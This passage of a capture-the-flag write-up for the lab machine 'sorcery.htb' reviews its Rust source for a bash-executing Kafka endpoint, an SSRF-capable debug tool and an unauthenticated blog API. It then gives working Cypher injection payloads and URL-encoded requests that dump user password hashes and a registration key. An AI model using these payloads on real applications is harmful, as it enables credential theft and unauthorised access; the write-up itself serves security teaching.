    <span class="n">_guard1</span><span class="p">:</span> <span class="n">RequireAdmin</span><span class="p">,</span>
    <span class="n">_guard2</span><span class="p">:</span> <span class="n">RequirePasskey</span><span class="p">,</span>
    <span class="n">kafka_store</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">State</span><span class="o">&lt;</span><span class="n">KafkaStore</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">producer</span> <span class="o">=</span> <span class="n">kafka_store</span><span class="py">.producer</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">();</span>

    <span class="k">match</span> <span class="n">producer</span><span class="nf">.send</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Record</span> <span class="p">{</span>
        <span class="n">topic</span><span class="p">:</span> <span class="s">"update"</span><span class="p">,</span>
        <span class="n">partition</span><span class="p">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span>
        <span class="n">key</span><span class="p">:</span> <span class="p">(),</span>
        <span class="n">value</span><span class="p">:</span> <span class="s">"/dns/convert.sh"</span><span class="nf">.as_bytes</span><span class="p">(),</span>
    <span class="p">})</span> <span class="p">{</span>
        <span class="nf">Ok</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="nf">Ok</span><span class="p">(</span><span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{})),</span>
        <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">Unknown</span><span class="p">),</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The message body is hardcoded to <code class="language-plaintext highlighter-rouge">/dns/convert.sh</code>, which is the script in the <code class="language-plaintext highlighter-rouge">dns</code> container that rebuilds <code class="language-plaintext highlighter-rouge">/dns/entries</code> from the host files. From <a href="#dns">above</a>, the dns container’s Rust consumer pipes that whole string into <code class="language-plaintext highlighter-rouge">bash -c</code>, so this endpoint causes the dns container to re-run <code class="language-plaintext highlighter-rouge">convert.sh</code> and then publish the fresh entry list back on the <code class="language-plaintext highlighter-rouge">get</code> topic.</p>

<h4 id="debug-port-tool">Debug Port Tool</h4>

<p><code class="language-plaintext highlighter-rouge">/dashboard/debug</code> is a form that takes a host, port, optional hex-encoded payload(s), and two checkboxes (“Expect response?” and “Keep alive?”). It’s marketed in the UI as <code class="language-plaintext highlighter-rouge">Easily debug ports by sending raw data to them and optionally expecting a response</code>. The backend at <code class="language-plaintext highlighter-rouge">api/debug/debug.rs</code> is exactly that:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[derive(Deserialize)]</span>
<span class="k">struct</span> <span class="n">Request</span> <span class="p">{</span>
    <span class="n">host</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="n">port</span><span class="p">:</span> <span class="nb">u16</span><span class="p">,</span>
    <span class="n">data</span><span class="p">:</span> <span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="nd">#[serde(default)]</span>
    <span class="n">expect_result</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="nd">#[serde(default)]</span>
    <span class="n">keep_alive</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
<span class="p">}</span>

<span class="nd">#[post(</span><span class="s">"/port"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">port_data</span><span class="p">(</span>
    <span class="n">_guard1</span><span class="p">:</span> <span class="n">RequireAdmin</span><span class="p">,</span>
    <span class="n">_guard2</span><span class="p">:</span> <span class="n">RequirePasskey</span><span class="p">,</span>
    <span class="n">data</span><span class="p">:</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">Request</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="nf">Ok</span><span class="p">(</span><span class="k">mut</span> <span class="n">stream</span><span class="p">)</span> <span class="o">=</span> <span class="nn">TcpStream</span><span class="p">::</span><span class="nf">connect</span><span class="p">(</span><span class="nd">format!</span><span class="p">(</span><span class="s">"{}:{}"</span><span class="p">,</span> <span class="n">data</span><span class="py">.host</span><span class="p">,</span> <span class="n">data</span><span class="py">.port</span><span class="p">))</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">NotFound</span><span class="p">);</span>
    <span class="p">};</span>

    <span class="k">if</span> <span class="n">stream</span>
        <span class="nf">.set_read_timeout</span><span class="p">(</span><span class="nf">Some</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">5</span><span class="p">)))</span>
        <span class="nf">.is_err</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">Unknown</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">let</span> <span class="k">mut</span> <span class="n">response</span><span class="p">:</span> <span class="nb">Option</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;&gt;</span> <span class="o">=</span> <span class="k">match</span> <span class="n">data</span><span class="py">.expect_result</span> <span class="p">{</span>
        <span class="k">true</span> <span class="k">=&gt;</span> <span class="nf">Some</span><span class="p">(</span><span class="nd">vec!</span><span class="p">[]),</span>
        <span class="k">false</span> <span class="k">=&gt;</span> <span class="nb">None</span><span class="p">,</span>
    <span class="p">};</span>

    <span class="k">for</span> <span class="n">request</span> <span class="k">in</span> <span class="n">data</span><span class="py">.data</span><span class="nf">.iter</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">let</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">to_send</span><span class="p">)</span> <span class="o">=</span> <span class="nn">hex</span><span class="p">::</span><span class="nf">decode</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="k">else</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">WrongInput</span><span class="p">);</span>
        <span class="p">};</span>

        <span class="k">if</span> <span class="n">stream</span><span class="nf">.write</span><span class="p">(</span><span class="n">to_send</span><span class="nf">.as_slice</span><span class="p">())</span><span class="nf">.is_err</span><span class="p">()</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">Unknown</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="n">data</span><span class="py">.expect_result</span> <span class="p">{</span>
            <span class="k">let</span> <span class="k">mut</span> <span class="n">result</span> <span class="o">=</span> <span class="nn">Vec</span><span class="p">::</span><span class="nf">new</span><span class="p">();</span>
            <span class="n">stream</span><span class="nf">.read_to_end</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">result</span><span class="p">)</span><span class="nf">.ok</span><span class="p">();</span>
            <span class="n">response</span><span class="nf">.as_mut</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.push</span><span class="p">(</span><span class="nn">hex</span><span class="p">::</span><span class="nf">encode</span><span class="p">(</span><span class="o">&amp;</span><span class="n">result</span><span class="p">));</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="n">data</span><span class="py">.keep_alive</span> <span class="p">{</span>
        <span class="nn">tokio</span><span class="p">::</span><span class="nn">task</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">stream</span><span class="p">;</span>
            <span class="nn">tokio</span><span class="p">::</span><span class="nn">time</span><span class="p">::</span><span class="nf">sleep</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">60</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span>
            <span class="nf">drop</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
        <span class="p">});</span>
    <span class="p">}</span>

    <span class="nf">Ok</span><span class="p">(</span><span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{</span> <span class="n">data</span><span class="p">:</span> <span class="n">response</span> <span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It opens a raw <code class="language-plaintext highlighter-rouge">TcpStream</code> to whatever <code class="language-plaintext highlighter-rouge">host:port</code> the caller specifies, hex-decodes each string in <code class="language-plaintext highlighter-rouge">data</code> and writes it to the socket, and (if <code class="language-plaintext highlighter-rouge">expect_result</code> is set) reads the response back and returns the bytes as hex. With <code class="language-plaintext highlighter-rouge">keep_alive</code>, the socket is held open for 60 seconds after the response is returned. There’s no allowlist on <code class="language-plaintext highlighter-rouge">host</code> or <code class="language-plaintext highlighter-rouge">port</code>, no protocol filter, and no recipient validation. From the backend’s perspective inside the Docker network, that’s a generic SSRF primitive that can speak any TCP protocol to any internal service.</p>

<h4 id="blog">Blog</h4>

<p><code class="language-plaintext highlighter-rouge">/dashboard/blog</code> is the third admin-gated page. The frontend wraps it in the same <code class="language-plaintext highlighter-rouge">requireAuth(_, 2).then(requirePasskey)</code> pair:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="k">default</span> <span class="k">async</span> <span class="kd">function</span> <span class="nf">BlogPage</span><span class="o">&lt;</span><span class="nx">T</span><span class="o">&gt;</span><span class="p">(</span><span class="nx">props</span><span class="p">:</span> <span class="nx">T</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">Component</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">requireAuth</span><span class="p">(</span><span class="nx">_BlogPage</span><span class="p">,</span> <span class="mi">2</span><span class="p">).</span><span class="nf">then</span><span class="p">(</span><span class="nx">requirePasskey</span><span class="p">);</span>

  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">Component</span> <span class="p">{...</span><span class="nx">props</span><span class="p">}</span> <span class="sr">/&gt;</span><span class="err">;
</span><span class="p">}</span>
</code></pre></div></div>

<p>Server-side, however, the backend handler in <code class="language-plaintext highlighter-rouge">api/blog/get.rs</code> has no guard at all:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[get(</span><span class="s">"/"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">get_blog_posts</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="nf">Ok</span><span class="p">(</span><span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{</span>
        <span class="n">posts</span><span class="p">:</span> <span class="nn">Post</span><span class="p">::</span><span class="nf">get_all</span><span class="p">()</span><span class="k">.await</span><span class="p">,</span>
    <span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So the access control on the blog is enforced only by the frontend page wrapper. A direct call to <code class="language-plaintext highlighter-rouge">GET /api/blog</code> does not require any authentication and returns every post. Two posts are created in the <a href="#backend">initial database seed</a>.</p>

<h2 id="sorceryhtb-admin-access">sorcery.htb admin Access</h2>

<p>I’m showing first the intended path to admin access on the website. I actually took an unintended shortcut for this access, which I’ll include <a href="#shortcut-to-admin">at the bottom of this section</a>.</p>

<h3 id="access-as-seller">Access as Seller</h3>

<h4 id="cypher-crash-poc">Cypher Crash POC</h4>

<p>I noted <a href="#products">above</a> that the GUID at the end of <code class="language-plaintext highlighter-rouge">/dashboard/store/&lt;GUID&gt;</code> is used to build a Cypher query for the Neo4j database, and that it didn’t appear to have any filtering on the input. If I change the GUID to something that doesn’t exist in the database, it returns 404:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416102611290.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416102611290.png" alt="image-20260416102611290" class="include_image " />
</picture>

<p>However, if I add a double quote to the end, it crashes:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416102651025.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416102651025.png" alt="image-20260416102651025" class="include_image " />
</picture>

<h4 id="cypher-query-injection">Cypher Query Injection</h4>

<p>The crash comes from the <code class="language-plaintext highlighter-rouge">Model</code> derive macro in <code class="language-plaintext highlighter-rouge">backend-macros/src/lib.rs</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">quote!</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> #<span class="nf">function_name</span><span class="p">(</span>#<span class="n">name</span><span class="p">:</span> #<span class="n">type_</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Option</span><span class="o">&lt;</span><span class="k">Self</span><span class="o">&gt;</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">graph</span> <span class="o">=</span> <span class="k">crate</span><span class="p">::</span><span class="nn">db</span><span class="p">::</span><span class="nn">connection</span><span class="p">::</span><span class="n">GRAPH</span><span class="nf">.get</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
        <span class="k">let</span> <span class="n">query_string</span> <span class="o">=</span> <span class="nd">format!</span><span class="p">(</span>
            <span class="s">r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#</span><span class="p">,</span>
            #<span class="n">struct_name</span><span class="p">,</span> #<span class="n">name_string</span><span class="p">,</span> #<span class="n">name</span>
        <span class="p">);</span>
        <span class="k">let</span> <span class="n">row</span> <span class="o">=</span> <span class="k">match</span> <span class="n">graph</span><span class="nf">.execute</span><span class="p">(</span>
            <span class="p">::</span><span class="nn">neo4rs</span><span class="p">::</span><span class="nf">query</span><span class="p">(</span><span class="o">&amp;</span><span class="n">query_string</span><span class="p">)</span>
        <span class="p">)</span><span class="k">.await</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.next</span><span class="p">()</span><span class="k">.await</span> <span class="p">{</span>
            <span class="nf">Ok</span><span class="p">(</span><span class="nf">Some</span><span class="p">(</span><span class="n">row</span><span class="p">))</span> <span class="k">=&gt;</span> <span class="n">row</span><span class="p">,</span>
            <span class="n">_</span> <span class="k">=&gt;</span> <span class="k">return</span> <span class="nb">None</span>
        <span class="p">};</span>
        <span class="k">Self</span><span class="p">::</span><span class="nf">from_row</span><span class="p">(</span><span class="n">row</span><span class="p">)</span><span class="k">.await</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For <code class="language-plaintext highlighter-rouge">Product::get_by_id("aaa")</code>, that builds the literal Cypher:</p>

<div class="language-cypher highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">result:</span> <span class="n">Product</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"aaa"</span> <span class="ss">})</span> <span class="k">RETURN</span> <span class="n">result</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">id</code> value is concatenated into the query with no escaping and no parameter binding, so the closing double quote of the value can be smuggled in by the caller, breaking out of the string literal. From there I can close the property map and the opening parenthesis with <code class="language-plaintext highlighter-rouge">})</code>, attach any Cypher I like, and comment out the original trailing <code class="language-plaintext highlighter-rouge">RETURN result</code> with <code class="language-plaintext highlighter-rouge">//</code>.</p>

<p>The pieces I need to keep in mind:</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">from_row</code> expects the result column to be aliased <code class="language-plaintext highlighter-rouge">result</code> and to deserialize as a <code class="language-plaintext highlighter-rouge">BoltMap</code> (a Cypher map). Returning a node directly (e.g. <code class="language-plaintext highlighter-rouge">RETURN n AS result</code>) won’t match the type. A map literal like <code class="language-plaintext highlighter-rouge">RETURN { ... } AS result</code> does.</p>
  </li>
  <li>
    <p>The map has to contain every Product field that <code class="language-plaintext highlighter-rouge">from_row</code> reads (<code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">name</code>, <code class="language-plaintext highlighter-rouge">description</code>, <code class="language-plaintext highlighter-rouge">is_authorized</code>, <code class="language-plaintext highlighter-rouge">created_by_id</code>). Any missing key triggers a <code class="language-plaintext highlighter-rouge">.expect("&lt;name&gt; not found")</code> panic in the macro-generated code.</p>
  </li>
  <li>
    <p>The post-fetch filter <code class="language-plaintext highlighter-rouge">should_show_for_user</code> still runs on the returned object. The simplest way to satisfy it is to set <code class="language-plaintext highlighter-rouge">is_authorized: true</code> in the injected map.</p>
  </li>
</ul>

<p>The page will process the first <code class="language-plaintext highlighter-rouge">BoltMap</code> that comes back and expects it to have specific columns from the <code class="language-plaintext highlighter-rouge">Product</code> model. I want an injection that will return no <code class="language-plaintext highlighter-rouge">Product</code> nodes and a single row from something else. To achieve this, I’ll wrap a synthetic row in <code class="language-plaintext highlighter-rouge">UNION ALL</code>. The first half of the union returns whatever the original <code class="language-plaintext highlighter-rouge">MATCH</code> finds (zero rows here), and the second half is a standalone <code class="language-plaintext highlighter-rouge">RETURN { ... } AS result</code> that always emits one row. <code class="language-plaintext highlighter-rouge">UNION</code> only requires the column names to match (both halves alias the column <code class="language-plaintext highlighter-rouge">result</code>), not the column types, so the synthetic map happily unions with a (possibly empty) set of <code class="language-plaintext highlighter-rouge">Product</code> nodes. Turns out I could also just stack the queries, as I’ll show <a href="#password-hash-overwrite">later</a>, but for this section I’ll show <code class="language-plaintext highlighter-rouge">UNION</code>.</p>

<p>An example POC with synthetic injected data:</p>

<div class="language-plaintext wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x" }) RETURN result UNION ALL RETURN { id: "pwn", name: "injected", description: "hello from cypher", is_authorized: true, created_by_id: "pwn" } AS result //
</code></pre></div></div>

<p>On the server, that will become:</p>

<div class="language-cypher wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">result:</span> <span class="n">Product</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"x"</span> <span class="ss">})</span> <span class="k">RETURN</span> <span class="n">result</span> <span class="k">UNION</span> <span class="ow">ALL</span> <span class="k">RETURN</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"pwn"</span><span class="ss">,</span> <span class="py">name:</span> <span class="s2">"injected"</span><span class="ss">,</span> <span class="py">description:</span> <span class="s2">"hello from cypher"</span><span class="ss">,</span> <span class="py">is_authorized:</span> <span class="k">true</span><span class="ss">,</span> <span class="py">created_by_id:</span> <span class="s2">"pwn"</span> <span class="ss">}</span> <span class="k">AS</span> <span class="n">result</span> <span class="c1">//" }) RETURN result</span>
</code></pre></div></div>

<p>This encodes to an HTTP request in Burp Repeater:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/dashboard/store/x%22%20%7D%29%20RETURN%20result%20UNION%20ALL%20RETURN%20%7B%20id%3A%20%22pwn%22%2C%20name%3A%20%22injected%22%2C%20description%3A%20%22hello%20from%20cypher%22%2C%20is%5Fauthorized%3A%20true%2C%20created%5Fby%5Fid%3A%20%22pwn%22%20%7D%20AS%20result%20%2F%2F</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">sorcery.htb</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjNjYTlhZmFhLTc5YWYtNDdmNy1hMjc2LTgyNWVhYzU1MTY1MSIsInVzZXJuYW1lIjoiMHhkZiIsInByaXZpbGVnZUxldmVsIjowLCJ3aXRoUGFzc2tleSI6ZmFsc2UsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc2NDI1MDcwfQ.e_ybrpbxQ2n1h5VAhh_y3juXQSZCW96mO_QRofL-rSI</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
</code></pre></div></div>

<p>It was important for me to clear out the <code class="language-plaintext highlighter-rouge">Next</code> headers to get this to move to the backend. With those set, Next.js answers with a router prefetch and never renders the page or calls the backend. Stripping them forces a full page render, which triggers the API call, which triggers the Cypher injection, and the injected <code class="language-plaintext highlighter-rouge">name</code> and <code class="language-plaintext highlighter-rouge">description</code> show up rendered into the HTML response.</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416124656216.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416124656216.png" alt="image-20260416124656216" class="include_image " />
</picture>

<p>That confirms a working injection. I should be able to run any Cypher I want and shape the result into a Product and have it displayed.</p>

<h4 id="read-user-data">Read User Data</h4>

<p>I’ll use the injection to read data about the users. I’ll need to get the user data and then convert it to an object with the <code class="language-plaintext highlighter-rouge">Product</code> attributes. To do that, I’ll get all the <code class="language-plaintext highlighter-rouge">Users</code>, and pass that to <code class="language-plaintext highlighter-rouge">reduce</code>, which will generate one long string with all the users and passwords. Then I can return a synthetic object with <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">name</code>, <code class="language-plaintext highlighter-rouge">description</code>, and <code class="language-plaintext highlighter-rouge">created_by_id</code>, where I put the exfiled data into <code class="language-plaintext highlighter-rouge">description</code>.</p>

<div class="language-plaintext wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x" }) RETURN result UNION ALL MATCH (u: User) WITH reduce(s = "", x IN collect(u.username + ":" + u.password) | s + x + "&lt;br&gt;") AS desc RETURN { id: "users", name: "all-users", description: desc, is_authorized: true, created_by_id: "x" } AS result //
</code></pre></div></div>

<p>That renders to:</p>

<div class="language-cypher wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">result:</span> <span class="n">Product</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"x"</span> <span class="ss">})</span> <span class="k">RETURN</span> <span class="n">result</span> <span class="k">UNION</span> <span class="ow">ALL</span> <span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">u:</span> <span class="n">User</span><span class="ss">)</span> <span class="k">WITH</span> <span class="nf">reduce</span><span class="ss">(</span><span class="n">s</span> <span class="o">=</span> <span class="s2">""</span><span class="ss">,</span> <span class="n">x</span> <span class="ow">IN</span> <span class="nf">collect</span><span class="ss">(</span><span class="n">u.username</span> <span class="o">+</span> <span class="s2">":"</span> <span class="o">+</span> <span class="n">u.password</span><span class="ss">)</span> <span class="o">|</span> <span class="n">s</span> <span class="o">+</span> <span class="n">x</span> <span class="o">+</span> <span class="s2">"&lt;br&gt;"</span><span class="ss">)</span> <span class="k">AS</span> <span class="k">desc</span> <span class="k">RETURN</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"users"</span><span class="ss">,</span> <span class="py">name:</span> <span class="s2">"all-users"</span><span class="ss">,</span> <span class="py">description:</span> <span class="k">desc</span><span class="ss">,</span> <span class="py">is_authorized:</span> <span class="k">true</span><span class="ss">,</span> <span class="py">created_by_id:</span> <span class="s2">"x"</span> <span class="ss">}</span> <span class="k">AS</span> <span class="n">result</span> <span class="c1">//" }) RETURN result</span>
</code></pre></div></div>

<p>URL-encoded into Burp Repeater:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/dashboard/store/x%22%20%7D%29%20RETURN%20result%20UNION%20ALL%20MATCH%20%28u%3A%20User%29%20WITH%20reduce%28s%20%3D%20%22%22%2C%20x%20IN%20collect%28u%2Eusername%20%2B%20%22%3A%22%20%2B%20u%2Epassword%29%20%7C%20s%20%2B%20x%20%2B%20%22%3Cbr%3E%22%29%20AS%20desc%20RETURN%20%7B%20id%3A%20%22users%22%2C%20name%3A%20%22all%2Dusers%22%2C%20description%3A%20desc%2C%20is%5Fauthorized%3A%20true%2C%20created%5Fby%5Fid%3A%20%22x%22%20%7D%20AS%20result%20%2F%2F</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">sorcery.htb</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjNjYTlhZmFhLTc5YWYtNDdmNy1hMjc2LTgyNWVhYzU1MTY1MSIsInVzZXJuYW1lIjoiMHhkZiIsInByaXZpbGVnZUxldmVsIjowLCJ3aXRoUGFzc2tleSI6ZmFsc2UsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc2NDI1MDcwfQ.e_ybrpbxQ2n1h5VAhh_y3juXQSZCW96mO_QRofL-rSI</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>
</code></pre></div></div>

<p>Sending this returns the admin and my users’ hashes:</p>

<p><a href="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416130007309.png"><img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416130007309.png" alt="image-20260416130007309" /><em>Click for full size image</em></a></p>

<p>Argon2 is very hard to crack, and doesn’t crack with <code class="language-plaintext highlighter-rouge">hashcat</code> and <code class="language-plaintext highlighter-rouge">rockyou.txt</code>.</p>

<h4 id="read-registration-key">Read Registration Key</h4>

<p>Turning from users, I’ll try to get the <code class="language-plaintext highlighter-rouge">registrationKey</code> value necessary to <a href="#register-as-seller">register as a seller</a>. On registering, the submitted value is compared against a <code class="language-plaintext highlighter-rouge">Config</code> model that’s defined in <code class="language-plaintext highlighter-rouge">db/connection.rs</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[derive(Deserialize,</span> <span class="nd">Model)]</span>
<span class="k">struct</span> <span class="n">Config</span> <span class="p">{</span>
    <span class="n">is_initialized</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="n">registration_key</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I’ll create an injection payload that will get the <code class="language-plaintext highlighter-rouge">Config</code> node and project its <code class="language-plaintext highlighter-rouge">registration_key</code> into the synthetic Product’s <code class="language-plaintext highlighter-rouge">name</code> so it shows up in plain text in the rendered title:</p>

<div class="language-plaintext wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x" }) RETURN result UNION ALL MATCH (c: Config) RETURN { id: "config", name: c.registration_key, description: "registration key", is_authorized: true, created_by_id: "x" } AS result //
</code></pre></div></div>

<p>Which renders to:</p>

<div class="language-cypher wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">result:</span> <span class="n">Product</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"x"</span> <span class="ss">})</span> <span class="k">RETURN</span> <span class="n">result</span> <span class="k">UNION</span> <span class="ow">ALL</span> <span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">c:</span> <span class="n">Config</span><span class="ss">)</span> <span class="k">RETURN</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"config"</span><span class="ss">,</span> <span class="py">name:</span> <span class="n">c.registration_key</span><span class="ss">,</span> <span class="py">description:</span> <span class="s2">"registration key"</span><span class="ss">,</span> <span class="py">is_authorized:</span> <span class="k">true</span><span class="ss">,</span> <span class="py">created_by_id:</span> <span class="s2">"x"</span> <span class="ss">}</span> <span class="k">AS</span> <span class="n">result</span> <span class="c1">//" }) RETURN result</span>
</code></pre></div></div>

<p>URL-encoded into Burp Repeater:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/dashboard/store/x%22%20%7D%29%20RETURN%20result%20UNION%20ALL%20MATCH%20%28c%3A%20Config%29%20RETURN%20%7B%20id%3A%20%22config%22%2C%20name%3A%20c.registration_key%2C%20description%3A%20%22registration%20key%22%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22x%22%20%7D%20AS%20result%20%2F%2F</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">sorcery.htb</span>
